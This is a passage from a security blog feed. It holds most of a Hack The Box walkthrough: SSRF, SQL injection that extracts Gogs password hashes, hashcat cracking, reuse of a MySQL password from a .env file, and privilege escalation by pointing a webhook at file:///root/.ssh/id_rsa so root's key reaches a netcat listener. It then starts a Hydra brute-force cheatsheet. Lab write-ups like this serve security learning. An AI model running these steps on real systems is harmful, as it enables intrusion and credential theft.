&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that the &lt;strong&gt;PHP&lt;/strong&gt; server has been created and the listening port has been opened, we send the request using the web server tool&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./phpserverequest.png&quot; alt=&quot;phpserver&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./gettingtheinformation.png&quot; alt=&quot;gettingtheinformation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, we received something...&lt;/p&gt;
&lt;p&gt;To view this information in plain text, we should first copy all the information and paste it into a file.
Then, we should use the &lt;code&gt;jq&lt;/code&gt; utility and filter using &lt;strong&gt;.body&lt;/strong&gt; to extract the body of the message, and then use the &lt;strong&gt;-r&lt;/strong&gt; flag to display it in raw format.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat data | jq .body -r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By doing this, we will extract the &lt;strong&gt;HTML&lt;/strong&gt; in raw format from the service that was running locally on the victim&apos;s machine on port 3000&lt;/p&gt;
&lt;p&gt;All that&apos;s left to do to view the service correctly on our machine is to copy all the &lt;strong&gt;HTML&lt;/strong&gt; content we were able to extract and paste it into an &lt;strong&gt;index.html&lt;/strong&gt; file&lt;/p&gt;
&lt;p&gt;And then set up an &lt;strong&gt;HTTP&lt;/strong&gt; server to host the &lt;strong&gt;.html&lt;/strong&gt; file containing the code we managed to extract, so we could view the content of the web page that was being
hosted locally on the victim&apos;s machine&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./GOGSpage.png&quot; alt=&quot;!gogspage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next step would be to see if there is an exploit available for that service, in this case &lt;strong&gt;Gogs v0.5.5&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit gogs
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Gogs - &apos;label&apos; SQL Injection                                                    | multiple/webapps/35237.txt
Gogs - &apos;users&apos;/&apos;repos&apos; &apos;?q&apos; SQL Injection                                       | multiple/webapps/35238.txt
gogs 0.13.0 - Remote Code Execution (RCE)                                       | multiple/remote/52348.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;searchsploit -x 35238
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./affected_versions.png&quot; alt=&quot;affected_versions&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, this &lt;strong&gt;SQL injection&lt;/strong&gt; falls within the range of versions that we can exploit&lt;/p&gt;
&lt;h1&gt;SQL Injection&lt;/h1&gt;
&lt;p&gt;Now let&apos;s look for the &lt;strong&gt;PoC&lt;/strong&gt; for that exploit to see how it works and test it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./PoC.png&quot; alt=&quot;PoC&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To test this &lt;strong&gt;SQL injection&lt;/strong&gt; locally, we&apos;re going to download the same version that&apos;s being used on the victim machine running the &lt;strong&gt;Gogs&lt;/strong&gt; service&lt;/p&gt;
&lt;p&gt;https://github.com/gogs/gogs/releases/tag/v0.5.5&lt;/p&gt;
&lt;p&gt;Once you&apos;ve cloned the repository with the correct version, navigate to the gogs folder and run gogs web&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd gogs
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;./gogs web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./runninggogslocally.png&quot; alt=&quot;gogslocally&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re ready to test for &lt;strong&gt;SQL injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Then we run the &lt;strong&gt;SQL query&lt;/strong&gt; provided by the exploit&apos;s &lt;strong&gt;PoC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./wereceivedtrue.png&quot; alt=&quot;truerespond&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we received something, but it doesn&apos;t provide us with any important information, so we&apos;re going to create our own &lt;strong&gt;SQL query&lt;/strong&gt;
to extract data that will give us access to the victim&apos;s machine&lt;/p&gt;
&lt;p&gt;To create our own query, the first step would be to intercept the request using &lt;code&gt;Burp Suite&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;burpsuite 2&amp;gt;/dev/null &amp;amp; disown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./requestintercepted.png&quot; alt=&quot;requestintercepted&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the request has been intercepted, we send it to the &lt;strong&gt;Repeater&lt;/strong&gt; using &lt;strong&gt;Ctrl + R&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before we create our &lt;strong&gt;SQL query&lt;/strong&gt;, let&apos;s take a closer look at the exploit we&apos;re using to exploit this &lt;strong&gt;SQL injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./querytofindusernames.png&quot; alt=&quot;querytofindusernames&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, if we replace “repos” with “users,” we can identify usernames&lt;/p&gt;
&lt;p&gt;Now that we&apos;re ready, let&apos;s get started with the &lt;strong&gt;SQL injection&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;As I mentioned earlier, the request has been sent to the Repeater, so we will be operating in that section&lt;/p&gt;
&lt;p&gt;The first thing we&apos;re going to do is sort the data based on a nonexistent column&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1-27.png&quot; alt=&quot;1-27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the server returns a message saying, &lt;strong&gt;“1st ORDER BY term out of range - should be between 1 and 27”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So now, instead of 100, we&apos;re going to specify 27 columns&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./27-columns.png&quot; alt=&quot;27_columns&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we haven&apos;t received any errors&lt;/p&gt;
&lt;p&gt;Now that we know the exact number of columns, let&apos;s use a &lt;strong&gt;UNION SELECT&lt;/strong&gt; to retrieve values from those columns that represent a specific value&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./unionselectquery.png&quot; alt=&quot;unionselect&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, column 3 represents the username, using the output from the third column, we&apos;ll try to extract values&lt;/p&gt;
&lt;p&gt;Since we don&apos;t know the default names assigned to the columns, we&apos;re going to search the &lt;strong&gt;Gogs&lt;/strong&gt; files locally to see how the database is structured&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd gogs
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;find . | grep &quot;db$&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&apos;ll be able to locate a &lt;strong&gt;gogs.db&lt;/strong&gt; file. Since this is a binary file, we can&apos;t use &lt;code&gt;cat&lt;/code&gt; to open it, so we&apos;ll use &lt;code&gt;strings&lt;/code&gt; instead&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings gogs.db
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./defaultgogstables.png&quot; alt=&quot;defaultgogstables&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We copy that query and save it, then replace the commas with line breaks so we can view it correctly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim query
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./querycopied.png&quot; alt=&quot;querycopied&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat query | tr &apos;,&apos; &apos;\n&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./allthetables.png&quot; alt=&quot;allthetables&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, there are two columns that catch our attention: &lt;strong&gt;“passwd”&lt;/strong&gt; and &lt;strong&gt;“salt”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that we know this, let&apos;s start with &lt;strong&gt;passwd&lt;/strong&gt; to see if we can extract a password&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./passwordhased.png&quot; alt=&quot;passwordhashes&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, we were able to extract a hashed password&lt;/p&gt;
&lt;p&gt;Now we can combine &lt;strong&gt;passwd&lt;/strong&gt; with &lt;strong&gt;salt&lt;/strong&gt; to have both values when cracking the hashed password&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./saltandpasswd.png&quot; alt=&quot;saltandpasswd&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But the problem here is that we don&apos;t know what kind of hash is being applied&lt;/p&gt;
&lt;p&gt;So let&apos;s take a look at the code we have on Gogs&apos; GitHub&lt;/p&gt;
&lt;p&gt;To do that, let&apos;s take a look at what the project looked like before&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./clickhere.png&quot; alt=&quot;clickhere&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./browsefiles.png&quot; alt=&quot;browsefiles&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, we&apos;ll go to the &lt;strong&gt;models&lt;/strong&gt; section, &lt;em&gt;user.go&lt;/em&gt;*, and there we&apos;ll see what format the password has been hashed in&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./thisformat.png&quot; alt=&quot;thisformat&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Passwords use a &lt;strong&gt;PBKDF2 salt&lt;/strong&gt; and a &lt;strong&gt;SHA-256 hash&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Password cracking&lt;/h1&gt;
&lt;p&gt;Now comes the part where we&apos;re going to crack the hashed password&lt;/p&gt;
&lt;p&gt;First of all, let&apos;s use &lt;code&gt;Hashcat&lt;/code&gt; to perform this cracking operation&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat --example-hashes | grep -i &quot;PBKDF2&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./hashcathashes.png&quot; alt=&quot;hashcathashes&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And this is the one we&apos;re interested in: &quot;PBKDF2-HMAC-SHA256&quot;&lt;/p&gt;
&lt;p&gt;Then we performed a more specific search to find the &lt;strong&gt;Hash Mode&lt;/strong&gt; and &lt;strong&gt;Example.Hash&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat --example-hashes | grep -i &quot;: PBKDF2-HMAC-SHA256&quot; -A 13 -B 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./importaninformation.png&quot; alt=&quot;importaninformation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now our goal is to represent the hash as specified in &lt;strong&gt;Example.Hash&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To do this, we&apos;re going to create a file to store Example.Hash and the salt/hash we were able to extract using the &lt;strong&gt;SQL injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./likethisss.png&quot; alt=&quot;likethisss&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we need it to be in &lt;strong&gt;Base64&lt;/strong&gt; to crack it, we&apos;ll provide the hash and salt as specified in &lt;strong&gt;Example.Hash&lt;/strong&gt;, except that we&apos;ll
convert both the &lt;strong&gt;salt&lt;/strong&gt; and the &lt;strong&gt;SHA-256 hash&lt;/strong&gt; to &lt;strong&gt;Base64&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, let&apos;s start with the hash&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &quot;de584d4ac253de57dcd5628082126b9d0d5ef791cb1874ac6ac36b7ebafe4288467c74530d84b49c60811dacbb5ee63277db&quot; | xxd -ps -r | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now with the salt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &quot;bmzH2leheI&quot; | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we&apos;ve converted the two values to &lt;strong&gt;Base64&lt;/strong&gt;, we&apos;ll specify them as shown in &lt;strong&gt;Example.Hash&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The only value we need to change is &lt;strong&gt;1,000&lt;/strong&gt; to &lt;strong&gt;10,000&lt;/strong&gt;, since 10,000 is the number of iterations performed to hash that password&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hash_to_crack.png&quot; alt=&quot;hash_to_crack&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have this hash, we&apos;re going to crack it on our main operating system using hashcat
&lt;strong&gt;(it&apos;s best to use our main operating system to crack passwords since hashcat uses a lot of hardware)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Copy and paste the hash into &lt;strong&gt;Notepad&lt;/strong&gt;, then install &lt;strong&gt;Hashcat&lt;/strong&gt; &amp;amp; &lt;strong&gt;rockyou.txt&lt;/strong&gt; for your operating system, &lt;strong&gt;open a terminal&lt;/strong&gt;, and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\hashcat.exe ..\hash.txt rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the password has been cracked, it will display the hash followed by an “=” and the password in plain text&lt;/p&gt;
&lt;p&gt;At this point, we have everything we need to attempt to gain access to the victim machine by combining &lt;strong&gt;SSRF&lt;/strong&gt; with &lt;strong&gt;SQL injection&lt;/strong&gt;.
We will then crack the password on the actual service and use any remote services available to us to connect using the cracked credentials&lt;/p&gt;
&lt;p&gt;So, let&apos;s modify the &lt;strong&gt;PHP&lt;/strong&gt; file with the &lt;strong&gt;SQL query&lt;/strong&gt; we created locally using &lt;code&gt;Burp Suite&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./finalsqlquery.png&quot; alt=&quot;finalsqlquery&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then, just as we did before, we opened a listening port using &lt;code&gt;netcat&lt;/code&gt; and also set up a &lt;strong&gt;PHP&lt;/strong&gt; server where our code will run, redirecting to internal
port 3000 on the victim machine with the &lt;strong&gt;SQL query&lt;/strong&gt; we created&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./finalrequest.png&quot; alt=&quot;finalrequest&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./finalrequest2.png&quot; alt=&quot;finalrequest2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./itworked!!.png&quot; alt=&quot;itworked!!&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we saw, we were able to extract a &lt;strong&gt;username&lt;/strong&gt;, &lt;strong&gt;password&lt;/strong&gt; and &lt;strong&gt;salt&lt;/strong&gt;, now all that&apos;s left is to apply the &lt;strong&gt;password cracking phase&lt;/strong&gt; in the same way we did before&lt;/p&gt;
&lt;p&gt;Once we&apos;ve run the cracking phase with &lt;code&gt;Hashcat&lt;/code&gt;, it gives us the password &lt;strong&gt;“february15”&lt;/strong&gt; in plain text&lt;/p&gt;
&lt;p&gt;Now that we have credentials, we can try to connect using the &lt;strong&gt;SSH&lt;/strong&gt; service we identified during the &lt;strong&gt;reconnaissance phase&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh susanne@10.129.34.90
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Password = february15&lt;/p&gt;
&lt;p&gt;Once we have access, run &lt;code&gt;export TERM=xterm&lt;/code&gt; so we can use &lt;strong&gt;Ctrl + L&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now comes the &lt;strong&gt;privilege escalation&lt;/strong&gt; phase&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;First, we log in knowing that the machine has a web service, so we navigate to &lt;strong&gt;var/www/html&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /var/www/html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we list the files that are inside&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./.envfile.png&quot; alt=&quot;.env&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it looks like we&apos;ve managed to find a &lt;strong&gt;.env&lt;/strong&gt; file&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;.env&lt;/strong&gt; file contains environment variables with sensitive data and configurations that are separate from the main code&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./.sensitivedata.png&quot; alt=&quot;sensitivedata&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can use the credentials stored in &lt;strong&gt;DB_USERNAME&lt;/strong&gt; and &lt;strong&gt;DB_PASSWORD&lt;/strong&gt; to connect to &lt;strong&gt;MySQL&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u laravel -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Password = MYsql_strongestpass@2014+&lt;/p&gt;
&lt;p&gt;After listing all the databases along with their respective tables and columns, I didn&apos;t find any information, so let&apos;s move on to the next step&lt;/p&gt;
&lt;p&gt;What we can do now is list the tasks that are running on the system at regular intervals, or we can simply create a &lt;strong&gt;Bash&lt;/strong&gt; script to automatically perform that process&lt;/p&gt;
&lt;p&gt;To do this, we&apos;re going to create a file in the /tmp directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /tmp
nano pseo.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is the script&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

function ctrl_c(){
	echo -e &quot;\nQuitting...\n&quot;
    exit 1
}

# Ctrl + C
trap ctrl_c SIGINT

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff &amp;lt;(echo &quot;$old_process&quot;) &amp;lt;(echo &quot;$new_process&quot;) | grep &quot;[\&amp;gt;\&amp;lt;]&quot; | grep -vE &quot;pseo.sh|command|kworker&quot;
	old_process=$new_process
done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;chmod +x pseo.sh
./pseo.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./phpartisan.png&quot; alt=&quot;phpartisan&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Taking a look at the output of the script we ran, we see that the root user is running &lt;code&gt;artisan&lt;/code&gt; with &lt;strong&gt;PHP&lt;/strong&gt;, but since we don&apos;t know what it
does or what it is, let&apos;s take a closer look&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /var/www/html
cat artisan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But unfortunately, we were unable to find any important information&lt;/p&gt;
&lt;p&gt;But after the &lt;strong&gt;PHP&lt;/strong&gt; file, it runs &lt;code&gt;schedule:run&lt;/code&gt;, so let&apos;s take a look at that too&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd app
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;grep -r -i &quot;schedule&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./schedule.png&quot; alt=&quot;schedule&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it looks like “schedule” is located in the Console directory, inside the &lt;strong&gt;Kernel.php&lt;/strong&gt; file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd Console
cat Kernel.php | less -S
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Kernel.php.png&quot; alt=&quot;Kernel.php&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the key part of the code:&lt;/p&gt;
&lt;p&gt;/* Run your task here */
HealthChecker::check($task-&amp;gt;webhookUrl, $task-&amp;gt;monitoredUrl, $task-&amp;gt;onlyError);&lt;/p&gt;
&lt;p&gt;Let&apos;s find out what &lt;strong&gt;“check”&lt;/strong&gt; does&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -r -i &quot;check&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./healthchecker.png&quot; alt=&quot;health_checker&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/www/html/app/Http/Controllers/HealthChecker.php | less -S
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./crucialinformationfound.png&quot; alt=&quot;crucialinformationfound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, &lt;code&gt;file_get_contents&lt;/code&gt; is being used in the &lt;strong&gt;“Monitored URL”&lt;/strong&gt; field&lt;/p&gt;
&lt;p&gt;If sanitization is not being applied, this is a serious problem, since we can list internal files on the machine under the &lt;strong&gt;root&lt;/strong&gt; user&lt;/p&gt;
&lt;p&gt;Using that information, let&apos;s try to list the &lt;strong&gt;/etc/passwd&lt;/strong&gt; file on the victim machine&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./doesntwork.png&quot; alt=&quot;doesntwork&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, it doesn&apos;t work, but if we remember correctly, we have credentials for the &lt;strong&gt;MySQL&lt;/strong&gt; database, and if we create a webhook, it would be stored in the database&lt;/p&gt;
&lt;p&gt;With that in mind, let&apos;s connect to the database&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u laravel -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Password = MYsql_strongestpass@2014+&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show databases;
use laravel
show tables;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./foundtaskstable.png&quot; alt=&quot;taskstables&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we see the &lt;strong&gt;tasks&lt;/strong&gt; table, as we saw earlier, this table stores the request we sent when we create a webhook&lt;/p&gt;
&lt;p&gt;To verify that, let&apos;s create it and list the content of this table&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sendingtherequest2.png&quot; alt=&quot;sendingtherequest2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./webhookcreated.png&quot; alt=&quot;webhookcreated&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(In this screenshot, I have a different IP address because I had restarted the VPN)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And within the database, we can modify the query so that it lists the files we want, in this case the root user&apos;s &lt;strong&gt;id_rsa&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;update tasks set monitoredUrl = &apos;file:///root/.ssh/id_rsa&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./updatingtasktabletoelevateprivileges.png&quot; alt=&quot;updatingtaskstabletoelevateprivileges&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, we open a listening port, then create a webhook and modify the query so that when it runs every minute as we specified with * * * * *,
it will execute whatever we’ve specified, in this case listing the contents of the root user’s id_rsa file. All this information will be sent to the port
we’re listening on with netcat, allowing us to elevate our privileges to root&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sshrootkeyreceived.png&quot; alt=&quot;sshrootkeyreceived&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And here we received the &lt;strong&gt;root&lt;/strong&gt; user&apos;s &lt;strong&gt;id_rsa&lt;/strong&gt;, now we&apos;ll copy it and save it to a file&lt;/p&gt;
&lt;p&gt;Then, using &lt;code&gt;jq&lt;/code&gt;, we convert it to raw format so that the key is properly structured, and finally, we save the file containing
the key to a file named &lt;strong&gt;id_rsa&lt;/strong&gt;, to which we must assign &lt;strong&gt;600 permissions&lt;/strong&gt; for it to work correctly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat key | jq -r &amp;gt; id_rsa
chmod 600 id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have the root user&apos;s &lt;strong&gt;id_rsa&lt;/strong&gt;, all we need to do is log in as the root user via the &lt;strong&gt;SSH&lt;/strong&gt; service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -i id_rsa root@10.129.34.90
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./machinepwned.png&quot; alt=&quot;machinepwned&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(In the screenshot, I&apos;m connected to a different IP address because I had to restart the HTB machine due to technical issues)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And finally, &lt;strong&gt;we&apos;ve gained root access&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Hydra Cheatsheet</title><link>https://scriptos0.github.io/posts/hydra_cheatsheet/hydra_cheatsheet/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/hydra_cheatsheet/hydra_cheatsheet/</guid><description>Hydra Cheatsheet to help make your brute-force testing a whole lot easier. If you always forget the exact flags for target protocols, user lists, or multi-threading, this guide is for you. It’s straight to the point, easy to read, and perfect for your cybersecurity toolkit.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Hydra&lt;/h1&gt;
&lt;h2&gt;Help Menu&lt;/h2&gt;
&lt;p&gt;First of all, if this is your first time using Hydra, i recommend opening the help menu to learn about the different commands the tool offers&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -h
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Options:
  
-R      restore a previous aborted/crashed session
-I      ignore an existing restore file (don&apos;t wait 10 seconds)
-S      perform an SSL connect
-s PORT   if the service is on a different default port, define it here
-l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
-p PASS  or -P FILE  try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET  password bruteforce generation, type &quot;-x -h&quot; to get help
-y      disable use of symbols in bruteforce, see above
-r      use a non-random shuffling method for option -x
-e nsr    try &quot;n&quot; null password, &quot;s&quot; login as pass and/or &quot;r&quot; reversed login
-u        loop around users, not passwords (effective! implied with -x)
-C FILE   colon separated &quot;login:pass&quot; format, instead of -L/-P options
-M FILE   list of servers to attack, one entry per line, &apos;:&apos; to specify port
-D XofY   Divide wordlist into Y segments and use the Xth segment.
-o FILE   write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS  run TASKS number of connects in parallel per target (default: 16)
-T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME  wait time for a response (32) / between connects per thread (0)
-c TIME   wait time per login attempt over all threads (enforces -t 1)
-4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
-O        use old SSL v2 and v3
-K        do not redo failed attempts (good for -M mass scanning)
-q        do not print messages about connection errors
-U        service module usage details
-m OPT    options specific for a module, see -U output for information
-h        more command line options (COMPLETE HELP)
server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service   the service to crack (see below for supported protocols)
OPT       some service modules support additional input (-U for module help)
  
Examples:
  
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Below, I&apos;ll list the most common services for carrying out brute-force attacks using &lt;strong&gt;Hydra&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;FTP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; ftp  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SSH&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; ssh
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RDP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; rdp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMBv1&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; smb
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMBv2 &amp;amp; SMBv3&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -L &amp;lt;/path/to/usernames/wordlist&amp;gt; -P &amp;lt;/path/to/passwords/wordlist&amp;gt; &amp;lt;IP&amp;gt; smb2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP-GET&lt;/h2&gt;
